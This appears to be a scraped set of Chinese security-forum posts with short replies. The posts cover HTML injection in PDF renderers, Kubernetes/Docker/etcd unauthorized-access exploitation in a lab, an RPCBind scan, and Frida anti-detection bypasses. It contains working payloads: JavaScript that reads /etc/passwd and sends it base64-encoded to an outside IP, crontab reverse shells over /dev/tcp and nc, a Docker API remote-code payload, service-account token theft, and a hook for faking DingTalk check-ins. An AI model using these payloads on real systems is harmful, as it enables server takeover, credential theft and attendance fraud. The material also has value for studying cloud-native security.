同时这个wkhtmltopdf本身也存在其他问题。这里就不表述，主要是看此处可以进行html注入。
利用方式1:

<iframe+src="http://xxx.xxx.xxx.xxx/p/55a964/mIpS/"> 此处使用xray的oob平台进行设置重定向。

然后成功读取到/etc/passwd文件，最终也通过读取服务器上的配置文件读到数据库的密码。发现ssh的密码就是数据库的密码，直接拿下服务器。

一般测试过程，可以通过如下方式获取后端解析的组件及版本。
1、畸形数据包包错，此处未上图。##文档是去年写的 我也不知道我为什么没上图。

2、从pdf文件或者图片文件中的创建者或者pdf文件信息中可知。pdf文件的头部信息。

Google Chrome 版本85 ###HeadlessChrome

iText-5.5.10 #发票多是该组件。

3、UA进行判断，当可出网一般这种功能也包括截图、爬虫导出相关的，一般都是能出网。

Google Chrome 81 Linux x64位 ###HeadlessChrome

然后尝试基本的payload进行注入：

`常规payload:
<h1>test</h1>test2 探测

<iframe src="file:///etc/password">
document.location
<img src=x onerror="document.write(document.location)"/>
<img src=x onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///etc/passwd">
<img src=x onerror=document.write(window.location)> ##xss读取本地执行目录 然后可以尝试读取该目录下源文件

##默认存在同源策略不允许直接跨目录实现文件读取。只能读取web目录下的，绕过方法：
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

带外平台利用：也可用户ssrf配合存储型xss。
方法1:
poc:
<img src=x onerror="document.write('<script src=http://118.89.51.162:8099/test.js></script>')"/>

方法二：
就是例子
通过oob实现location重定向file:/// 实现绕过浏览器同源策略限制加载到本地文件。

####cat test.js
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('<iframe src="http://121.36.77.64/p/70d6b5/2T8P/?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();

oob平台将收到bs4的payload。

可利用标签：
img\iframe\link\script等等。
`

可以先通过document.write(document.location)判断开发设置的类型：
有的可能是：也就是我说的出现问题的情况1 pdf组件 本地文件 pdf.pdf；
。图片来源网上，因为我也忘记补图了。

如果是后端是HeadlessChrome的话， ##不管是截图还是导出pdf。一般为了保持稳定，版本都会很低。默认root权限或者docker启动的话，一定会包含--no-sandbox。
低版本可用：

<html>
    <script type="text/javascript">
        window.open("about:")
    </script>
</html>

进行探测得到chrome信息。主要是启动参数，因为启动参数是否包含--no-sandbox -allow-file-access-from-files
--remote-debugging-port=等危险参数，
如果探测不到，那就尝试基本的ssrf，不行的话 可以尝试盲打Chrome的版本漏洞。不管是截图还是pdf转换，默认情况都会执行js，很多情况下是能直接命令执行。
#不过此处需要注意下大多会使用docker默认的环境，很多命令会缺失，可以通过perl进行反弹相对稳定。

# included[].attributes.contentHtml
牛逼

# included[].attributes.contentHtml
nmap -sV IP 扫描一下端口看看有没有意外：

果然，果然，果然 有意外发现

一顿翻翻找找发现 RPCBind 真的存在漏洞

漏洞发现：

使用metasploit(msf)验证验证

use auxiliary/scanner/misc/sunrpc_portmapper
show options
set RHOSTS ...
run

漏洞利用：

可以使用命令查看攻击模块去利用该漏洞 search sunrpc

这个攻击有点危险，最好还是在靶机上利用。

**** RPCBind是一种通用的RPC端口映射功能，默认绑定在端口111上，可以将RPC服务号映射到网络端口号。恶意攻击者可以批量扫描111UDP端口，利用UDP反射放大来进行DDoS攻击。

可以参考：
京东云【漏洞预警】RPCBind服务可被利用进行UDP反射DDoS攻击的文章
URL： https://www.jdcloud.com/cn/notice/detail/490/type/5

修复方案：

建议变更前提前做好数据备份和验证评估，避免变更引起业务不可用

1. 直接关闭RPCBind服务：如果业务中并没有使用RPCBind，可直接关闭。

Ubuntu：

(1) 打开终端，运行如下命令，关闭rpcbind服务：

sudo systemctl stop rpcbind && systemctl disable rpcbind

(2) 检查rpcbind服务是否关闭:

netstat -anp | grep rpcbind

CentOS 7：

(1) 打开终端，运行如下命令：

systemctl stop rpcbind && systemctl disable rpcbind

(2) 检查rpcbind服务是否关闭：

netstat -anp | grep rpcbind

CentOS 6：

(1) 打开终端，运行如下命令：

/etc/init.d/rpcbind stop

(2) 检查rpcbind服务是否关闭：

netstat -anp | grep rpcbind

# included[].attributes.contentHtml
最新消息 : 某某src消息：此类ddos漏洞不再收录，所以 各位大佬们.....咨询各大平台运营看具体情况吧。

# included[].attributes.contentHtml
目录

一、前言

这篇文章可能出现一些图文截图颜色或者命令端口不一样的情况，原因是因为这篇文章是我重复尝试过好多次才写的，所以比如正常应该是访问6443，但是截图中是显示大端口比如60123这种，不影响阅读和文章逻辑，无需理会即可，另外k8s基础那一栏。。。本来想写一下k8s的鉴权，后来想了想，太长了，不便于我查笔记，还不如分开写，所以K8S基础那里属于凑数？？？写了懒得删（虽然是粘贴的：））

吐槽一下：其实我发现K8S搭建失败的大部分原因，都是出于网络不同的原因，所以我建议直接上香港的服务器，不太建议在本地虚拟机搭建，当然我本地也搭建了虚拟机的k8s集群（我用公司的阿里云开的服务器，100M带宽，确实快哈哈哈）

在学习k8s安全的时候，大家花费最多时间的地方应该就是K8S的搭建了，当然大佬除外，我这种菜狗才会搭环境搭很久

香港服务器搭建

1、有成本（哪怕是按量付费，也有一定的成本）

2、好处就是能快速的搭建，不会出现网络导致搭建失败的问题

本地虚拟机搭建

1、0成本（但是有时间成本，可能在香港服务器上1个小时就能解决的事情，在本地要花很久）

2、好处就是配置好静态地址之后，以后在哪个网络环境都可以访问

二、k8s基础

K8S全称kubernetes，是由Google在2014年开源的生产级别的容器编排系统，或者说是微服务和云原生平台。虽说14年才开源，但实际上K8S是Google内部的容器编排系统Borg的开源版本，在Google内部已经用了十多年了。下面是一个关于K8S的Logo来源的小插曲。

Kubernetes由谷歌在2014年首次对外宣布 。它的开发和设计都深受谷歌的Borg系统的影响，它的许多顶级贡献者之前也是Borg系统的开发者。在谷歌内部，Kubernetes的原始代号曾经是Seven，即星际迷航中友好的Borg(博格人)角色。Kubernetes标识中舵轮有七个轮辐就是对该项目代号的致意。  不过也有一个说法是，Docker的Logo是一个驮着集装箱的鲸鱼，也就是运输船，K8S的Logo是一个船舵，旨在引领着Docker（或者说容器技术）走向远方。

1、Master

Master节点是Kubernetes集群的控制节点，每个Kubernetes集群里至少有一个Master节点，它负责整个集群的决策（如调度），发现和响应集群的事件。Master节点可以运行在集群中的任意一个节点上，但是最好将Master节点作为一个独立节点，不在该节点上创建容器，因为如果该节点出现问题导致宕机或不可用，整个集群的管理就会失效。

在Master节点上，通常会运行以下服务：

kube-apiserver: 部署在Master上暴露Kubernetes API，是Kubernetes的控制面。

etcd: 一致且高度可用的Key-Value存储，用作Kubernetes的所有群集数据的后备存储，在K8s中有两个服务需要用到etcd来协同和配置，分别如下

网络插件 flannel、对于其它网络插件也需要用到 etcd 存储网络的配置信息

Kubernetes 本身，包括各种对象的状态和元信息配置

注意：flannel 操作 etcd 使用的是 v2 的 API，而 Kubernetes 操作 etcd 使用的 v3 的 API，所以在下面我们执行 etcdctl 的时候需要设置 ETCDCTL_API 环境变量，该变量默认值为 2。

etcd实现原理：http://jolestar.com/etcd\-architecture/

kube-scheduler: 调度器，运行在Master上，用于监控节点中的容器运行情况，并挑选节点来创建新的容器。调度决策所考虑的因素包括资源需求，硬件/软件/策略约束，亲和和排斥性规范，数据位置，工作负载间干扰和最后期限。

kube-controller-manager：控制和管理器，运行在Master上，每个控制器都是独立的进程，但为了降低复杂性，这些控制器都被编译成单一的二进制文件，并以单独的进程运行。

2、Node

Node 节点是 Kubernetes 集群的工作节点，每个集群中至少需要一台Node节点，它负责真正的运行Pod，当某个Node节点出现问题而导致宕机时，Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上，也可以运行在虚拟机中。

在Node节点上，通常会运行以下服务：

kubelet: 运行在每一个 Node 节点上的客户端，负责Pod对应的容器创建，启动和停止等任务，同时和Master节点进行通信，实现集群管理的基本功能。

kube-proxy: 负责 Kubernetes Services的通信和负载均衡机制。

Docker Engine: 负责节点上的容器的创建和管理。

Node节点可以在集群运行期间动态增加，只要整个节点已经正确安装配置和启动了上面的进程。在默认情况下，kubelet会向Master自动注册。一旦Node被接入到集群管理中，kubelet会定时向Master节点汇报自身的情况（操作系统，Docker版本，CPU内存使用情况等），这样Master便可以在知道每个节点的详细情况的同时，还能知道该节点是否是正常运行。当Node节点心跳超时时，Master节点会自动判断该节点处于不可用状态，并会对该Node节点上的Pod进行迁移。

3、Pod

Pod是Kubernetes最重要也是最基本的概念，一个Pod是一组共享网络和存储（可以是一个或多个）的容器。Pod中的容器都是统一进行调度，并且运行在共享上下文中。一个Pod被定义为一个逻辑的host，它包括一个或多个相对耦合的容器。

Pod的共享上下文，实际上是一组由namespace、cgroups, 其他资源的隔离的集合，意味着Pod中的资源已经是被隔离过了的，而在Pod中的每一个独立的container又对Pod中的资源进行了二次隔离。

（上图为：K8s实战攻击路径，·来自TSRC）

（上图为：K8s常见端口，图片有点糊，因为网上找的）

三、k8s-漏洞环境搭建

1、metarget

推荐这种方式搭建，目前能搜到的应该有以下几种K8S搭建方式

1、按照文档一步一步的安装docker，安装k8s

2、minikube

3、kind

4、metarget（推荐）

5、github上的一键安装脚本

但是这几种安装方式都充斥着一些问题，比如在安装的时候会遇到很多问题，而且如果我们想安装安装指定版本又非常麻烦，所以推荐metarget的方式进行安装

git clone https://github.com/Metarget/metarget.git
cd metaget/
pip3 install -r requirements.txt

tips: 如果在centos下遇到pip 出现以下情况，并且更新之后没有用的话，那么就用下面的方法

yum install python3-pip

不过这里建议Ubuntu安装，因为。。。

懒得搜了，所以直接换ubuntu

回到正题，比如我这里想安装一个1.16的k8s，使用以下命令即可

./metarget gadget install k8s --version=1.16.5

随后就会对k8s所需要的组件挨个进行安装并启动

不过值得注意的是，如果使用云服务器的话，为了保证端口安全组放通，但是又怕暴露在公网受到攻击，建议安全组端口全开，但是给到指定IP才能访问

2、minikube

环境

Macos Monterey

下载minikube

brew install minikube

使用minikube快速启动，这里驱动选的是VMware，指定了k8s的版本

minikube start --kubernetes-version=v1.16.3 --driver=vmware

minikube kubectl -- get pods -A

minikube kubectl get node

还可以通过minikube 快速启动k8s的dashboard

minikube dashboard

快速创建一个Nginx Pod

kubectl run nginxfromuzju --image=nginx --port=1112

3、kind

安装kubectl

curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.6/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl

下载kind(需要科学上网)

wget https://github.com/kubernetes-sigs/kind/releases/download/v0.12.0/kind-darwin-amd64
chmod +x kind-darwin-amd64
mv ./kind-darwin-amd64 /usr/local/bin/kind

kind create cluster --name k8s

快速启动一个k8s集群

kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: k8suzju  #集群名
nodes: #节点配置，如下，启动一个master节点，一个worker节点
- role: control-plane   #master节点
  image: kindest/node:v1.21.1 #指定镜像，同 kind create cluster参数--image
  extraPortMappings:
  - containerPort: 6443
    hostPort: 26443
    listenAddress: "0.0.0.0"
    protocol: tcp #默认值，可不设置
- role: worker

为了解决绑定在本地127.0.0.1的问题

kind create cluster --config k8s.yaml

kubectl get node

创建pods

kubectl run nginxfromuzju --image=nginx --port=1112

四、Api Server 未授权访问(8080与6443）

部署在Master上暴露Kubernetes API，是Kubernetes的控制面。Kubernetes API服务器为API对象验证和配置数据，这些对象包含Pod，Service，ReplicationController等等。API Server提供REST操作以及前端到集群的共享状态，所有其他组件可以通过这些共享状态交互。默认情况，Kubernetes API Server提供HTTP的两个端口：8080，6443。insecure-port： 默认端口8080，在HTTP中没有认证和授权检查。secure-port ：默认端口6443， 认证方式，令牌文件或者客户端证书，如下图访问http://IP:8080

一个6443和一个8080，前者会进行鉴权，后者不会

1、8080端口未授权访问

条件

1、k8s版本小于1.16.0

2、8080对公网开放

1、如何打开和关闭8080端口

测试了几个版本的k8s，发现在新版本后，–insecure-port=8080配置默认就关闭了

cd /etc/kubernetes/manifests
vim kube-apiserver.yaml

这里设置为0表示关闭，甚至在高版本的k8s中，直接将--insecure-port这个配置删除了，需要手动添加

这里将修改为8080，并添加配置

- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
systemctl restart kubelet

上述就是打开8080端口的方法

2、执行命令-通过kubectl -s命令

kubectl -s ip:8080 get node

ps: 如果使用minikube搭建这里可能是随机的大端口

获取Pods

kubectl -s 127.0.0.1:8080 get pods

执行命令

kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash

Tips: 在高版本的k8s中，这种方法是不行的，连不上去

3、获取service-account-token

可以通过访问api来获取token

/api/v1/namespaces/kube-system/secrets/

3、获取宿主机权限-通过k8s dashboard，创建特权Pods

为什么会出现这个问题：因为在启动dashborad的时候，管理员为了方便，修改了配置，跳过了登录

安装dashborad

wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
vim recommended.yam

需要添加两个参数，一个是不需要登录，一个是绑定0.0.0.0地址

- --enable-skip-login
- -- insecure-bind-address=0.0.0.0
kubectl apply -f recommended.yaml

这里使用国际友人的配置快速启动

[https://medium.com/@tejaswi.goudru/disable\-authentication\-https\-in\-kubernetes\-dashboard\-2fada478ce91](mailto:https://medium.com/@tejaswi.goudru/disable-authentication-https-in-kubernetes-dashboard-2fada478ce91)

wget https://gist.githubusercontent.com/tejaswigk/da57d7911284cbf56e7f99af0afd6884/raw/de38da2a7619890a72d643d2bbd94278221e5977/insecure-kubernetes-dashboard.yml
kubectl apply -f insecure-kubernetes-dashboard.yml
 kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard  9090:80

如果这种情况不能访问的话，就使用下面的命令

kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:80

但是我们在这里看到了一个不安全的访问，无法登陆，只需要更换如下的命令即可

kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443

配置账号

sudo vim  account.yaml

# Creating a Service Account
apiVersion: v1
kind: ServiceAccount
metadata:
  name: admin-user
  namespace: kubernetes-dashboard

---
# Creating a ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: admin-user
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: admin-user
  namespace: kubernetes-dashboard

kubectl apply -f account.yaml
# 获取token
kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"

这里有个坑。。。。就是端口转发然后会一直连接重置

不知道什么原因，如果有大佬知道，虚心请教！这里也有可能是香港服务器不稳定的原因造成的，因为在测试的时候发现有时候服务器的ssh也连不上，也会提示连接重置

通过创建dashboard创建pod并挂在宿主机的根目录

apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

这里将宿主机的目录挂在到了/mnt目录下

ps: minikube 搭建如果此时点击上传返回错误信息the server could not find the requested resource，在网上看到文章说是kubectl的版本不一致的问题，那么也确实，因为minikube启动的是1.16的k8s，但是终端的是1.23，不过不要紧回到POD那里之后可以看到已经创建了

可以通过写crontab获取shell

echo -e "* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1" >> /mnt/etc/crontab

或者通过chroot来获取终端

2、6443端口-system:anonymous错误配置

如果不小心，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令

本来访问会返回403

但是使用下面的配置之后就可以了

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

可以通过访问API来获取pod

/api/v1/namespaces/default/pods

获取token

/api/v1/namespaces/kube-system/secrets/

创建特权容器

POST /api/v1/namespaces/default/pods HTTP/2
Host: 127.0.0.1:61575
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 1176

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "annotations": {
            "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
        },
        "name": "test-4444",
        "namespace": "default"
    },
    "spec": {
        "containers": [
            {
                "image": "nginx:1.14.2",
                "name": "test-4444",
                "volumeMounts": [
                    {
                        "mountPath": "/host",
                        "name": "host"
                    }
                ]
            }
        ],
        "volumes": [
            {
                "hostPath": {
                    "path": "/",
                    "type": "Directory"
                },
                "name": "host"
            }
        ]
    }
}

随后执行命令的时候返回400

https://127.0.0.1:61575/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami

传统艺能，搜到了这种解决方案，可惜不行：（

安装wscat

npm install -g wscat

不过这里还是没解决这个问题

并且还遇到一个问题

一开始我以为是本地的kubectl跟服务端的版本不同导致的，后来发现，并不是这样，哪怕我在k8s的服务器上使用该命令，还是会出现这个

不过我又发现一个新的方法，虽然不知道是为什么，但是这个方法确实可行

偶然发现，这里虽然会让你输入账号和密码，但是随便输入之后，还是会显示pods，那么我通过POST创建pods，然后我在用这里连上去，然后chroot去获取宿主机权限呢？

./kubectl --insecure-skip-tls-verify -s https://ip:6443 get pods

可以看到，我们这里已经创建了恶意的pods

./kubectl --insecure-skip-tls-verify -s https://ip:6443 --namespace=default exec -it test-4444 bash

可以看到已经通过挂在宿主机根目录到host目录，通过chroot来到的宿主机，那么也可以看到我们root目录下的metarget，创建一个文件看看

成功了，不过如果有k8s大佬知道这是为什么，可以告诉我，谢谢大佬，我的Github有我的微信二维码

五、k8s kubelet 10250端口未授权

正常访问该端口会提示未授权

并且如果直接访问这个端口会提示404

但是如果将/var/lib/kubelet/config.yml配置错误的修改为如下

随后将authorization.mode修改为AlwaysAllow

随后重启

systemctl restart kubelet

再访问这个端口就会发现不需要认证，那么如何执行命令呢？

1、执行命令

curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"

这里需要三个参数

1、namespace

2、pod

3、container

在这里获取

https://8.210.134.222:10250/runningpods/

2、获取凭证

curl -XPOST -k https://ip:10250/run/default/attacker/ubuntu -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

一个 pod 与一个服务账户相关联，该服务账户的凭证（token）被放入该pod中每个容器的文件系统树，在 /var/run/secrets/kubernetes.io/serviceaccount/token

如果服务账号（Service account ）绑定了 cluster-admin （即集群的 admin 权限我们可以对所有namespace下实例进行操作） ，那么我们就可以通过 token 来进行一系列的操作

尝试了一下，这个token是可以登录dashboard的，那么如果绑定的权限够的话，完全可以通过这个token去登录dashboard

3、一些问题

3.1、authorization.mode.AlwaysAllow

将这里的mode设置为AlwaysAllow之后，那么使用API就不需要鉴权了，默认是使用WebHook，在配置为WebHook请求的时候会返回如下

六、etcd未授权

为什么会出现etcd未授权

在启动etcd时，如果没有指定 --client-cert-auth 参数打开证书校验，并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外，如果没有通过安全组防火墙的限制，就会造成危害

etcd默认端口2379

ps: 不过在安装k8s之后默认的配置2379都只会监听127.0.0.1，而不会监听0.0.0.0，那么也就意味着最多就是本地访问，不能公网访问

那么我们看一下手动搭建的集群

可以发现，除了监听本地的私有地址之外，也就只有127.0.0.1了

错误的配置--client-cert-auth

etcd的配置文件在/etc/kubernetes/manifests/etcd.yaml

如果此时将--client-cert-auth写入到这个配置文件里面

在打开证书校验选项后，通过本地127.0.0.1:2379地址可以免认证访问Etcd服务，但通过其他地址访问要携带cert进行认证访问

在未使用client-cert-auth参数打开证书校验时，任意地址访问Etcd服务都不需要进行证书校验，此时Etcd服务存在未授权访问风险。

证书泄露

默认情况下用etcdctl 访问2379会需要证书

但是如果证书泄露了，就可以通过证书来获取etcd

export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

获取token

/etcdctl --endpoints=https://127.0.0.1:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole

./etcdctl --endpoints=https://127.0.0.1:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-fltzp

通过该token可以获取k8s集群的权限

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443 --token="" -n kube-system get pods

不过这里需要注意，在kubectl 1.2的版本没有insecure-skip-tls-verify这个参数

通过kubectl opthion也没有看到这个参数，但是我们在1.16.6版本中可以看到有这个参数

如何安装指定版本的kubectl

curl -LO "https://dl.k8s.io/release/{这里写你要下载的版本}/bin/darwin/amd64/kubectl"

# 例子
curl -LO "https://dl.k8s.io/release/v1.16.6/bin/darwin/amd64/kubectl"

七、k8s+Docker会存在的问题

以下举例了两个docker会造成的问题，因为k8s+docker是比较常见的组合，所以docker上存在的问题，自然也会带到k8s中，更多docker逃逸到我的博客

https://uzzju.com/?id=40

1、Docker API未授权

因为现在常见的搭配还是K8s+docker的组合，那么docker上存在的问题，在这个组合中也必然会存在

漏洞原理：在使用docker swarm的时候，节点上会开放一个TCP端口2375，绑定在0.0.0.0上，如果我们使用HTTP的方式访问会返回404  利用思路：通过挂在宿主机的目录，写定时任务获取SHELL，从而逃逸

docker ps -a | grep rce

访问ip:2375/version

payload

import docker  client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) print(data)

2、挂载docker.sock

2.1、什么是docker.sock

/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具  取自StackOverflowUnix Sockets  术语套接字通常是指 IP 套接字。这些是绑定到端口（和地址）的端口，我们向其发送 TCP 请求并从中获取响应。

另一种类型的 Socket 是 Unix Socket，这些套接字用于IPC（进程间通信）。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信，而 IP 套接字使用网络。

Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求：unix, tcp, and fd.  默认情况下，在 /var/run/docker.sock 中创建一个 unix 域套接字（或 IPC 套接字）

2.2、创建docker

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

随后在docker容器中安装docker

# ubuntu 18.04安装docker
sudo apt-get update
# 安装依赖包
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# 验证您现在是否拥有带有指纹的密钥
sudo apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 更新
$ sudo apt-get update
# 安装最新的Docker-ce
sudo apt-get install docker-ce
# 启动
sudo systemctl enable docker
sudo systemctl start docker

安装完成之后我们使用docker ps就可以看到宿主机上的容器了

2.3、复现

将宿主机的根目录挂载到容器

docker run -it -v /:/uzju ubuntu:18.04 /bin/bash

chroot uzju

可以看到宿主机root目录上的图片，反弹shell也是修改crontab即可

2.4、反弹shell

通过修改Crontab定时任务来反弹shell

crontab -e

* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/123 0>&1

参考

https://security.tencent.com/index.php/blog/msg/183

https://javamana.com/2022/01/202201231236091126.html#kubernetes_1

http://jolestar.com/etcd-architecture/

https://blog.csdn.net/RivenDong/article/details/107566148

https://www.jianshu.com/p/141d6827b688

[https://medium.com/@tejaswi.goudru/disable\-authentication\-https\-in\-kubernetes\-dashboard\-2fada478ce91](mailto:https://medium.com/@tejaswi.goudru/disable-authentication-https-in-kubernetes-dashboard-2fada478ce91)

https://www.cdxy.me/?p=827

https://mp.weixin.qq.com/s/WJ14yyrLptQnRovFoGYv8A

# included[].attributes.contentHtml
666

# included[].attributes.contentHtml
前言

在进行 Android 测试时会发现现在大多数 APP 都进行了加固，其中就包括 frida 防护。不能使用 frida，对 APP 渗透测试而言可以说是缺了灵魂。所以绕过 Frida 防护是我们必不可少的一步。

Frida 绕过的各种姿势

1. 使用去特征的 server

https://github.com/hluwa/strongR-frida-android/

2. 修改默认端口

 ./data/local/tmp/frida-* -l 0.0.0.0:800
 adb forward tcp:27042 tcp:800
 frida -R package_name -l hook.js

3. VA + Gadget

利用 VirtualApp 自带的延时注入功能，注入 frida-gadget，具体实现可看我 github。

github: https://github.com/jussi-sky/VirtualApp

3.1 引入 gadget.so（更改so名称，可绕过部分检测）

3.2 加载 gadget

package io.virtualapp;

import com.lody.virtual.helper.utils.VLog;

public class FridaGadget {
    private static final String TAG = FridaGadget.class.getSimpleName();

    static {
        try {
            System.loadLibrary("ijkplayer");
        } catch (Throwable e) {
            VLog.e(TAG, VLog.getStackTraceString(e));
        }
    }

    public static void init() {
        VLog.d(TAG, "Init Frida Gadget", new Object[0]);
    }
}

3.3 重写 AppComponentDelegate，控制 gadget 加载时机

package io.virtualapp;

import android.app.Application;
import android.content.Context;
import com.lody.virtual.client.VClient;
import com.lody.virtual.client.core.AppCallback;
import com.lody.virtual.helper.utils.VLog;
import com.scorpion.IHook.XposedBridge;
import com.scorpion.IHook.callbacks.XC_LoadPackage;
import com.scorpion.reverse.dingding.DingTalk;
import com.swift.sandhook.xposedcompat.utils.ProcessUtils;

public class AppComponentDelegate implements AppCallback {
    private static final String TAG = "AppComponentDelegate";
    boolean isMainProcess = false;
    public Application mApplication;
    Context mContext;

    public AppComponentDelegate(Context context) {
        this.mContext = context;
    }

    public boolean isMainProcess() {
        return this.isMainProcess;
    }

    public void setMainProcess(boolean mainProcess) {
        this.isMainProcess = mainProcess;
        boolean z = this.isMainProcess;
    }

    @Override // com.lody.virtual.client.core.AppCallback
    public void beforeStartApplication(String packageName, String processName, Context context) {
    }

    @Override // com.lody.virtual.client.core.AppCallback
    public void beforeApplicationCreate(String packageName, String processName, Application application) {
    }

    @Override // com.lody.virtual.client.core.AppCallback
    public void afterApplicationCreate(String packageName, String processName, Application application) {

        FridaGadget.init();

        // 多进程应用使用 processName 控制只注入主进程，否则可能会出错
        if (processName.equals("com.ford.cnevapp.debug")) {
            FridaGadget.init();
        }

        if (packageName.equals("com.alibaba.android.rimet")) {
            VLog.d("VA-", "开始 hook 丁丁打卡", new Object[0]);
            DingTalk.hook(VClient.get().getClassLoader());
        }
    }

    private XC_LoadPackage.LoadPackageParam getLoadPackageParam(Application application) {
        XC_LoadPackage.LoadPackageParam packageParam = new XC_LoadPackage.LoadPackageParam(XposedBridge.sLoadedPackageCallbacks);
        if (application != null) {
            if (packageParam.packageName == null) {
                packageParam.packageName = application.getPackageName();
            }
            if (packageParam.processName == null) {
                packageParam.processName = ProcessUtils.getProcessName(application);
            }
            if (packageParam.classLoader == null) {
                packageParam.classLoader = application.getClassLoader();
            }
            if (packageParam.appInfo == null) {
                packageParam.appInfo = application.getApplicationInfo();
            }
        }
        return packageParam;
    }
}

3.4 最后确认主 Activity 的 AppComponentDelegate 的是否指向的是我们重写的，如果不是删除原对应的 import

3.5 配置自定义 gadget 属性

{
  "interaction": {
    "type": "listen",
    "address": "127.0.0.1",
    "port": 26000,
    "on_port_conflict": "fail",
    "on_load": "resume"
  }
}

4. riru + gadget

利用 Magisk 的 riru 模块，在 APP Fork 时注入 frida-gadget，具体实现可看我 github。

github: https://github.com/jussi-sky/Riru-FridaGadget

# included[].attributes.contentHtml
子炎 ha